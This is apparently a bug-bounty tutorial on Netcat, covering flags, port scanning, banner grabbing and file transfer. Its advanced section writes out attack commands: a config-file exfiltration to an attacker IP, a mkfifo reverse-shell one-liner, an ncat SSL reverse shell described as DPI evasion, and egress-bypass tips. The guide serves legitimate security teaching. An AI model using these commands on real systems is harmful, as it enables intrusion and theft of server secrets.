Netcat Guide for Pentesting: Commands, Reverse Shells, and Exfiltration

Master Netcat for Bug Hunting: from banners and file transfers to reverse shells and firewall evasion.

Netcat is a network utility that reads and writes data across network connections using TCP or UDP protocols.

Why should a Bug Hunter master it?

• Banner Grabbing: Identifying service versions to search for CVEs.

• File Transfer: Moving exploits or extracting data (exfiltration) when SSH/FTP is unavailable.

• Reverse Shells: The final step after exploiting an RCE (Remote Code Execution).

• Port Scanning: Fast and lightweight on systems where you cannot install Nmap.

Installation and Configuration

Netcat comes pre-installed on almost all security distributions, but there are two main versions: GNU Netcat and OpenBSD Netcat (the latter is the most common and secure).

• Kali / Parrot / Ubuntu:

sudo apt update && sudo apt install netcat-openbsd -y

• Verification:

nc -h

Basic Mode (Walkthrough)

Scanning a specific port

Verify if a service is listening:

nc -zv target.com 443

• -z: Zero-I/O mode (scanning without sending data).

• -v: Verbose (shows if the connection was successful).

Basic Chat (or text transfer)

• On Machine A (Server): nc -lvp 4444

• On Machine B (Client): nc [IP_A] 4444

Essential Flags

• -l (Listen Mode)

  • Description: Puts Netcat into listening mode to wait for an incoming connection.

  • Pro Use: Used on your listener machine (VPS) to receive Reverse Shells or to set up a temporary backdoor for file transfers.

• -p [Port] (Port)

  • Description: Specifies the local port number to be used.

  • Pro Use: In conjunction with -l, it defines which port your listener will open. In Bug Bounty, using common ports like 80, 443, or 53 can sometimes bypass restrictive outbound firewall rules on the target.

• -v (Verbose)

  • Description: Enables detailed output.

  • Pro Use: Essential for Network Debugging. Using -vv (very verbose) can provide even more detail about the connection status and any errors occurring during the handshake.

• -n (No DNS)

  • Description: Disables DNS resolution for hostnames.

  • Pro Use: Stealth & Speed. It prevents the tool from making DNS queries that could be logged by the target's DNS server and speeds up the process by avoiding the overhead of name resolution.

• -u (UDP Mode)

  • Description: Switches from the default TCP to UDP protocol.

  • Pro Use: Vital for scanning or interacting with services like DNS (53), SNMP (161), or DHCP, which do not use a three-way handshake.

• -w [Seconds] (Timeout)

  • Description: Sets a timeout for connections that cannot be established.

  • Pro Use: Efficiency. When scanning a large range of ports or IPs, it prevents the process from hanging indefinitely on "silent" or filtered ports.

• -e [Binary] (Execute)

  • Description: Executes a program after a successful connection (e.g., -e /bin/bash).

  • Danger: This flag is the primary way to create Bind or Reverse Shells. Note that many modern versions of Netcat (like netcat-openbsd) remove this flag for security reasons.

• -z (Zero-I/O)

  • Description: Scans for open ports without sending any data to the service.

  • Pro Use: Quick Port Probing. It is much faster and stealthier than a full connection, as it doesn't send payloads that might trigger an IPS (Intrusion Prevention System) signature.

Advanced Strategies

Data Exfiltration (Post-Exploitation)

If you have found a file-read vulnerability, you can use Netcat to extract heavy files without raising suspicion:

• On your attacking machine (receiver):

nc -l -p 1234 > database_dump.sql

• On the compromised server:

nc [YOUR_IP] 1234 < /var/www/html/config.php

Massive Banner Grabbing (Pipelining)

You can chain tools like Katana or Subfinder to verify specific services quickly.

# Example: Verify which subdomains have port 8080 open and capture the header
cat subdomains.txt | xargs -I % sh -c "echo 'HEAD / HTTP/1.0\r\n\r\n' | nc -vz -w 2 % 8080"

“Pro” Reverse Shells (Evasion and Stability)

When you achieve an RCE, the goal is for the shell not to die and to remain undetectable.

• The Rescue One-Liner (If -e does not exist): Modern versions (OpenBSD) do not have -e. Use this more robust pipe:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [YOUR_IP] 443 >/tmp/f

• Chaining with SSL (Ncat): If the target has ncat (from Nmap), use encryption to evade Deep Packet Inspection (DPI) firewalls:

• Attacker: ncat --ssl -lvp 443

• Victim: ncat --ssl [YOUR_IP] 443 -e /bin/bash

Shell Stabilization (The Forgotten Step)

Once you receive the connection, make it interactive to use nano, su, or arrow keys:

• In the nc shell: python3 -c 'import pty; pty.spawn("/bin/bash")'

• Press Ctrl+Z (suspends the process).

• In your local terminal: stty raw -echo; fg

• Type reset and press Enter. Now you have a real terminal.

Real Exploitation Scenarios

Case: Identification of Obsolete Services

During reconnaissance, you find an unusual port (e.g., 2121). Use Netcat:

echo "" | nc -v -n [TARGET_IP] 2121

If the banner responds ProFTPD 1.3.5, you immediately know it is vulnerable to Mod_Copy (CVE-2015-3306), which is a Critical (P1) finding.

Tips / Bypasses

• Egress Filtering Bypass: Many firewalls block high ports. Always set up your listener on port 443 (HTTPS) or 53 (DNS). Outbound traffic is much more likely to be allowed.

• Precision Banner Grabbing: To avoid WAFs that block rapid scans, use a delay:

nc -zv -i 5 [IP] 21-80  # Sends packets every 5 seconds

• UDP Scanning: Don’t forget the -u flag. Many Bug Hunters overlook services like SNMP or TFTP, which are often critical entry vectors.

Ethical Reminder: Using Netcat to access systems without authorization is illegal. Use these guides exclusively in laboratory environments or within the scope of authorized Bug Bounty programs.